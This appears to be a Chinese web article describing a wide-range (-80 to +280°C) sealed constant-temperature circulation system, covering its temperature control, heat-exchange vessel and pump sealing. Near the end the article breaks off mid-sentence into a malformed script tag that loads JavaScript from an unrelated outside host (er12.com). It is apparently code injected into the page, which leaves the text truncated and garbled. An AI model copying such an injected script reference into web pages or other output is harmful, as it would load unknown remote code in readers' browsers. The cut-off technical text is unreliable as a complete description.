恒温循环系统:宽温度范围的控制和模拟

试验专用宽温度范围动态恒温循环系统,作为一种能够提供低温和高温液体热源的恒温循环装置,主要能够为科学研究和分析测试在宽温度范围内实现高精度温度控制或环境模拟提供条件,产品广泛应用于制药、化工、电子、国防军工和航空航天等领域。产品的创新点是线性、正弦设定并混合调用的快速升降温变结构控制,基于一种介质在同一装置上实现-80~+280℃范围的动态恒温循环系统。

目前实验室内使用的恒温循环装置主要用于向设备外部提供高温或低温液体热源。该类装置的主要结构包括加热器(和/或制冷器)、循环泵、换热容器以及温度控制装置。现有的恒温循环装置所提供的热源的温度范围较小,应用范围相应较小,其结构也视其温度范围的不同而有变化。对于-40℃~+200℃的温度范围,目前需分别用三种温度循环装置才能覆盖:如果温度范围在5℃~95℃之间,即可以用水作为传热介质的循环装置即为常温恒温循环装置,如冷却水循环装置(或叫冷水机)就是其中的一种。如果温度范围在室温直到-40℃以下,通常需要使用有机溶剂或低黏度导热油作为传热介质的循环装置即为低温恒温循环装置。如果温度范围在室温直到+200℃以上,通常需要使用高闪点导热油作为传热介质的循环装置即为高温恒温循环装置。由于这些装置的温度范围小,如果某一个实验同时需要进行低温和高温处理(包括化学反应工艺控制、材料或产品的保温或变温试验等),当温度范围超出现有设备能够提供的温度范围,或者虽然温度范围符合要求,但实现整个温度范围需要中途更换工作液时,任何一台装置都不能单独完成试验。因此就有可能增加试验的难度,中断试验甚至造成试验失败、无法重复等。

另外,很多实验为了缩短试验周期,要求按比正常温度变化更快的速率进行模拟变温试验,因此除了对温度波动度有比较高的要求以外,同时希望温度变化的速率要快,而且可以按照一定的规律进行编程。现有的装置一般不能同时兼顾较好的温度波动度较快的温度变化速率。为了解决这个问题,现有装置采用了手动切换功率的办法,即在升温和降温过程中,使用较大的加热或制冷功率使升温或降温迅速;当达到设定温度时,使用较小的加热或制冷功率使恒温稳定。这种方法虽然简单,但无法实现按一定规律进行编程控制的连续变温要求,同样造成试验无法重复进行。

结构特点及工作过程

本产品所要解决的技术问题是克服上述现有技术的不足,提供一种改进的恒温循环装置,它不仅具有很宽的温度范围,在整个温度范围不需要更换传热介质,还能解决高精度恒温和升降温速率之间的矛盾,使其在一个极宽的温度范围内进行连续快速的高精度温度编程模拟试验成为可能。

宽温度范围动态恒温循环系统,包括了换热容器、循环泵、储液箱、控制器以及装于换热容器内的加热器,循环泵装于换热容器上,出口管以及进口管分别与用户系统相接,出口管内装有温度传感器,换热容器外部周围包敷有保温材料。控制器通过线路分别与各传感器、各阀门、循环泵及加热器进行电连接,该产品还包括一个制冷系统,制冷系统的蒸发器装于换热容器内。换热容器由罐体和盖板组成密闭结构,换热容器与循环泵、出口管及进口管构成介质循环系统并与大气隔离,储液箱与换热容器用装有电磁阀的管道接通。

由于本产品所提供的温度范围变宽,设备运行过程中传热介质、循环泵的密封材料和制冷系统的冷冻油等均长期经受热胀冷缩和高低温冲击。受传热介质的倾点、运动黏度和闪点等限制,目前也很难有一种介质能够在常压下同时满足在最低温度和最高温度范围使用。此外,低温时传热介质容易吸收空气中的水份而使介质凝点提高或浑浊,当温度超过100℃时吸收的水汽又会重新挥发,高温下介质挥发、冒烟和氧化等问题可能造成试验环境恶劣和传热介质在短时间内变质或失效。

采用密闭的换热容器可以很好地解决介质选择的困难问题。换热容器采用了完全密封的结构,其作用是隔绝工作介质与外界环境的联系,从而防止介质在低温下冷凝吸收空气中的水分和在高温下介质冒烟、氧化变质等。换热容器的大小按以下原则确定:可以将循环泵泵体、电热器和蒸发器方便地安装,确保换热介质达到最佳的换热效果,升温和降温速率符合用户对热容量的需求。

为了确保整个循环系统密闭,循环泵的结构和密封是解决问题的关键所在。如果循环系统的密闭只是为了解决介质与外界空气隔绝的问题,循环系统内部的压力一般不会超过0.1mpa,采用机械密封的循环泵即可符合要求,但仍然要求机械密封能够长期承受符合装置温度范围要求的高温和低温的连续冲击。如果循环系统的密闭需要承受0.1mpa以上的压力和温度范围较宽时,采用机械密封已经不能满足要求,主要问题是机械密封的耐久性不够,从而影响整个装置的性能和寿命,其次是低温下循环泵工作对制冷量?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计